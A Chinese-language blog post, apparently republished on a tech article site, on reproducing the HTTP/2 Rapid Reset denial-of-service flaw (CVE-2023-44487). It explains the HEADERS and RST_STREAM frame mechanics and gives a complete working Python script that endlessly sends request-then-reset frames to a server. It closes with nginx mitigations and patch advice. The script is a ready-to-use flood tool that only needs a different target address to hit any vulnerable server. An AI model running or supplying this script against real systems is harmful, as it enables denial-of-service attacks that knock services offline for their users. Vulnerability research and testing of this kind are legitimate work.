漏洞验证:HTTP/2的快速重置DOS攻击(CVE-2023-44487)

这篇具有很好参考价值的文章主要介绍了漏洞验证:HTTP/2的快速重置DOS攻击(CVE-2023-44487)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

声明

本篇文章仅用于漏洞复现与技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

漏洞验证:HTTP/2的快速重置DOS攻击(CVE-2023-44487),漏洞,http,1024程序员节,网络安全,安全,http,web安全

一、漏洞原理

对于 HTTP/1.1来说,HTTP/2 协议的一个更新点在于 单连接上的多路复用:就是说HTTP/2 协议允许在单个连接上同时发送多个请求,每个 HTTP 请求和响应都使用不同的流。

这些数据流称为 数据帧 ,其中比较重要的包括:

  • SETTINGS 帧:控制消息,用于传递关于 http2 连接的配置参数,例如 SETTINGS_MAX_CONCURRENT_STREAMS 定义连接上的最大并发流数目。

  • RST_STREAM 帧:直接取消一个流。如果客户端不想再接收服务端的响应,可以直接发送 RST_STREAM 帧。

客户端可以通过发送 RST_STREAM帧直接取消一个流,当服务端收到一个 RST_STREAM帧时,会直接关闭该流。

此时 客户端 可以不停向 服务器 发送请求,中间不用等待任何响应,导致 服务器 陷入了接受请求-处理请求-直接结束请求的循环中。

攻击者就可以利用该漏洞,通过持续的HEADERSRST_STREAM帧组合,来消耗 服务器 资源,进而影响 服务器 正常请求的处理,造成 DDoS 攻击。

二、编写python代码

#!/usr/bin/env python3
 
import socket
import ssl
import certifi
 
import h2.connection
import h2.events
 
 
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 443
 
# generic socket and ssl configuration
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
 
# open a socket to the server and initiate TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
 
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
 
headers = [
    (':method', 'GET'),
    (':path', '/'),
    (':authority', SERVER_NAME),
]
 
while True:
    stream_id = c.get_next_available_stream_id()
    print(stream_id)
    c.send_headers(stream_id, headers, end_stream=True)
    s.sendall(c.data_to_send())
    c.reset_stream(stream_id)
    s.sendall(c.data_to_send())
 
# tell the server we are closing the h2 connection
c.close_connection()
s.sendall(c.data_to_send())
 
# close the socket
s.close()

代码实现功能:不断发送 HEADERS 帧和 RST_STREAM 帧序列。

在本地或者云搭建好相应的服务器环境,HTTP/2协议,用py脚本进行测试运行,即可看到服务器负载快速增加,并且出现明显卡顿。

三、不受影响的版本:nginx

Nginx 中有如下的的默认值配置,该攻击对 Nginx 基本无影响:

  • keepalive_requests:保持默认配置 1000

  • http2_max_concurrent_streams:保持默认配置 128

Nginx 1.19.7 及其之后版本是通过keepalive_requests 来限制一个 HTTP/2 TCP 连接上请求总数量。

1.19.7 之前的版本是通过http2_max_requests 来实现该目的。

Nginx 能够限制一个 TCP 连接上的请求总数量为 1000 个。如果攻击者想持续利用该漏洞,就不得不新建新的 TCP 连接。

四、漏洞预防

遵循供应商的建议,及时进行更新。Microsoft 已发布 IIS (HTTP.sys) 和 .NET (Kestrel) 的更新。Apache 软件基金会发布了 Tomcat 的更新,F5 发布了 Nginx 的更新。文章来源地址https://www.toymoban.com/news/detail-717885.html

到了这里,关于漏洞验证:HTTP/2的快速重置DOS攻击(CVE-2023-44487)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【漏洞通告】 CVE-2022-40664 Apache Shiro 身份验证绕过漏洞

    目录 0x01 声明: 0x02 简介:   0x03 漏洞概述: 0x04 影响版本: 0x05 漏洞复现:(暂未公开利用方式) 0x06 临时措施 0x07 修复建议:         仅供学习参考使用,请勿用作违法用途,否则后果自负。         Apache Shiro是一个强大且易用的Java安全框架,它具有身份验证、

    2024年02月13日
    浏览(34)
  • AppWeb 身份验证绕过漏洞 (CVE-2018-8715)

    当前漏洞环境部署在vulhub,当前验证环境为vulhub靶场(所有实验均为虚拟环境) 实验环境:攻击机----kali 靶机:centos7 1、进入靶场,启动环境 2、访问AppWeb控制台:http://your-ip:8080 使用用户名、密码admin访问 访问失败 3、抓包,使用用户名、密码admin 4、只保留用户名参数,发包

    2024年02月13日
    浏览(32)
  • XSS 攻击是什么?怎么验证是否有XSS攻击漏洞?

    XSS(跨站脚本,Cross-Site Scripting)攻击是一种网络攻击,攻击者利用网站漏洞将恶意脚本注入用户的浏览器,从而在用户浏览网页时执行恶意代码。这种攻击可能造成用户敏感信息泄露、钓鱼、欺诈等安全问题。 验证是否有 XSS 攻击漏洞的方法: 手动测试:通过对输入框、

    2024年02月11日
    浏览(57)
  • 泛微 E-Office文件上传漏洞复现(CVE-2023-2523、CVE-2023-2648)

          泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。 cve-2023-2523     泛微e-office 9.5版本,源文件 App/Ajax/a

    2024年02月06日
    浏览(79)
  • CVE-2023-28432 MinIO 信息泄露漏洞--漏洞复现10

    微信公众号搜索:南风漏洞复现文库 南风网络安全公众号首发 MinIO是美国MinIO公司的一款开源的对象存储服务器, 是一款高性能、分布式的对象存储系统. 它是一款软件产品, 可以100%的运行在标准硬件。即X86等低成本机器也能够很好的运行MinIO。MinIO中存在一处信息泄露漏洞,

    2024年02月01日
    浏览(61)
  • 漏洞复现 CVE-2023-0297( pyload远程代码执行漏洞 )

    在 addcrypted2() 函数中,对传入的参数 jk 解析后用 eval_js() 作为 JS 语句执行。 利用 JS 中 pyimport 导入 OS 包,执行系统命令(文件操作,进程管理),还可以利用 os.system() 执行 shell 命令。 构建 payload 过程比较简单,只要传入所需的 package, crypted, jk, passwords 四个参数即可,这里

    2024年02月08日
    浏览(39)
  • 【漏洞复现】Weblogic CVE-2023-21839

    1. 产品简介 WebLogic是Oracle公司研发的用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器,在全球范围内被广泛使用。 2. 漏洞简介 Oracle发布安全公告,修复了一个存在于WebLogic Core中的远程代码执行漏洞(CVE-2023-21839),可在未经身份验证

    2023年04月16日
    浏览(41)
  • CVE-2023-28432 MiniO信息泄露漏洞复现

    MiniO 是一个基于 Apache License v2.0 开源协议的对象存储服务。它兼容亚马逊 S3 云存储服务接口,非常适合于存储大容量非结构化的数据,例如图片、视频、日志文件、备份数据和容器/虚拟机镜像等 在集群部署的 Minio 中,未授权的攻击者可发送恶意的 HTTP 请求来获取 Minio 环境

    2024年02月12日
    浏览(67)
  • MinIO 环境变量泄漏漏洞(CVE-2023-28432)

    MinIO 是一个开源的对象存储服务器。 MinIO RELEASE.2023-03-20T20-16-18Z之前版本中的 bootstrap-peer-server.go#VerifyHandler 方法存在敏感信息泄漏漏洞,攻击者可向集群部署中的 MinIO 服务器的 /minio/bootstrap/v1/verify API发送POST请求,从而获取到 MINIO_SECRET_KEY 和 MINIO_ROOT_PASSWORD 等所有环境变量信

    2023年04月26日
    浏览(37)
  • Openssh高危漏洞CVE-2023-38408修复方案

    2023年07月21日,360CERT监测发现 OpenSSH 发布了 OpenSSH 的风险通告,漏洞编号为 CVE-2023-38408 ,漏洞等级: 高危 ,漏洞评分: 8.1 。 OpenSSH 是 Secure Shell (SSH) 协议的开源实现,提供一套全面的服务,以促进客户端-服 务器环境中不安全网络上的加密通信。 威胁等级 高 影响面 广泛

    2024年02月11日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包